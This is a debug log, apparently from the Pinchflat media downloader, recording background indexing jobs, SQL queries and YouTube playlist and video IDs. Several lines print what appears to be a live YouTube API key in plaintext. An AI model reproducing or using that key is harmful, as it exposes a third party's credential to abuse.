{"args":{"id":11},"id":3800003,"meta":{},"system_time":1770763594220722258,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:34.221 [debug] QUERY OK source="sources" db=0.1ms idle=916.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 16:46:34.221 [debug] QUERY OK source="settings" db=0.0ms idle=910.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:34.221 [debug] QUERY OK source="sources" db=0.1ms idle=916.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [11] 16:46:34.221 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:34.221 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:34.221 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:34.221 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:34.221 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 16:46:34.221 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:34.221 [debug] Fetching recent media IDs from YouTube API for playlist: UUSOpcUkE-is7u7c4AkLgqTw 16:46:34.221 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:34.221 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:34.221 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:34.221 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:34.327 [debug] QUERY OK source="media_items" db=0.8ms idle=105.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [11, "b6cTcdQJ2zQ", "iWi1grPS3pA", "O2e1ccaS34s", "u7Uz1YZ5hQA", "g9PNmvdHTrA", "nGy-c40t2ms", "iRswzm-sFsE", "HiDu9ngFljA", "7HzmabyYgKE", "vlpKMWHJbFQ", "VvANcDa7fJ8", "4yk6HmYKXxs", "0bWl9pZdNNA", "55x-wf8o-7c", "6FlDINylswA", "QJx4LDk2O-8", "0CrkpkKxWfo", "hqmvWpgJCx0", "Ax792f2RbIY", "APT6FONMqFQ", "jTzjkaEKZo8", "1WLIY7oObvU", "01jJv0C_028", "YGTkjchlVJk", "fRRNSEb1DAQ", "lhRp_QECX9g", "eo9_K98nypE", "atYcpCoghnc", "WdxJtYWAhjc", "WczhEQj_g3A", "oN784HF4U5Y", "HLmZAlE-064", "HzxAeHQyiks", "yZ5KOG8BAVU", "HoSf21Arj8A", "Lc5_OKMgfQw", "yD4EoHnztaY", "s8sYp-AcwKk", "bDJNd8XWJIU", "vjrknR9r15o", "_p4RbXLW8aY", "bJ6GRkVCBQU", "iUF8VlcIAyI", "1nuCcmCl-9E", "wqfVfS0_J9M", "905tTzUrd-U", "PMSkzMSFfAo", "QQk7KKQ8jTo", "gVcOnLxnsu0", ...] 16:46:34.329 [debug] QUERY OK source="media_items" db=1.2ms idle=106.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [11] 16:46:34.330 [debug] QUERY OK source="tasks" db=0.1ms idle=108.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800041, 11, ~U[2026-02-10 22:46:34Z], ~U[2026-02-10 22:46:34Z]] 16:46:34.331 [info] {"args":{"id":11},"id":3800003,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":110115,"event":"job:stop","queue_time":411179,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:34.358 [debug] QUERY OK source="media_items" db=0.7ms idle=27.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "qPHwRGTGIOU", "GPSNT5vjSO8", "DwdL0AuomMU", "rzw4qL_UYms", "SbfGsYGmtvo", "aDMmIaj6YYY", "EapmwCmB2ZU", "wNqOyIOkE0g", "2JE39EiF7QY", "v3CorAvJSj8", "TkTLGcowRjo", "8EjtJZpkuDE", "VevHScaB_Kk", "0rXpncpkLcw", "4w68dxCyjLg", "4lf3C1Jv0sE", "bfKoARppLGw", "ILWWKspXrwY", "FRms-dKHwe8", "yfw74KelJFk", "JXbldzWu-Nc", "3lXAPC-8IC4", "slVuVPAUNI4", "cwNSjMBnZYA", "N1CGq7zSjjM", "0lc3PF49yOQ", "rYivduQ5Xww", "5JfhSmrKK3A", "-4VeoAkKFg4", "Lztt0KYUpRU", "efwg7hwFbeU", "tdU3lMg5K2A", "O8PKhwdFXHk", "vEfPCID6jf4", "e2Kb6Z1oGrc", "7gTz_JmlYtQ", "H175G8NH2Cg", "3EoARmGYyVc", "ogYzdHzumeA", "nrioXZyigd8", "kq3Q7jlcDDQ", "8iprAik8kjk", "yRzc5_uGNO4", "7qTWoV6WUV4", "N1eo5bXtZeM", "QRS3uWoAHBk", "csKezW4PZ2w", "-sDDoW7YAow", "iEAShZ8TJCs", ...] 16:46:34.359 [debug] QUERY OK source="media_items" db=0.4ms idle=28.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 16:46:34.360 [debug] QUERY OK source="tasks" db=0.1ms idle=22.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800042, 12, ~U[2026-02-10 22:46:34Z], ~U[2026-02-10 22:46:34Z]] 16:46:34.360 [info] {"args":{"id":12},"id":3800002,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":139952,"event":"job:stop","queue_time":552319,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:35.221 [info] {"args":{"id":27},"id":3800004,"meta":{},"system_time":1770763595221805444,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:35.222 [info] {"args":{"id":28},"id":3800005,"meta":{},"system_time":1770763595221861518,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:35.222 [debug] QUERY OK source="sources" db=0.2ms idle=861.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:46:35.222 [debug] QUERY OK source="sources" db=0.2ms idle=861.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 16:46:35.222 [debug] QUERY OK source="settings" db=0.1ms idle=855.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:35.222 [debug] QUERY OK source="settings" db=0.1ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:35.222 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:35.222 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:46:35.223 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:35.223 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 16:46:35.223 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:35.223 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:46:35.223 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:35.223 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:35.223 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:46:35.223 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:46:35.307 [debug] QUERY OK source="media_items" db=0.6ms idle=84.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 16:46:35.309 [debug] QUERY OK source="media_items" db=0.7ms idle=85.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:46:35.310 [debug] QUERY OK source="tasks" db=0.1ms idle=86.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800043, 27, ~U[2026-02-10 22:46:35Z], ~U[2026-02-10 22:46:35Z]] 16:46:35.310 [info] {"args":{"id":27},"id":3800004,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":88481,"event":"job:stop","queue_time":542970,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:35.333 [debug] QUERY OK source="media_items" db=0.5ms idle=22.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 16:46:35.333 [debug] QUERY OK source="media_items" db=0.3ms idle=23.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 16:46:35.334 [debug] QUERY OK source="tasks" db=0.1ms idle=17.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800044, 28, ~U[2026-02-10 22:46:35Z], ~U[2026-02-10 22:46:35Z]] 16:46:35.334 [info] {"args":{"id":28},"id":3800005,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":112702,"event":"job:stop","queue_time":401121,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:37.223 [info] {"args":{"id":16},"id":3800006,"meta":{},"system_time":1770763597223724905,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:46:37.224 [debug] QUERY OK 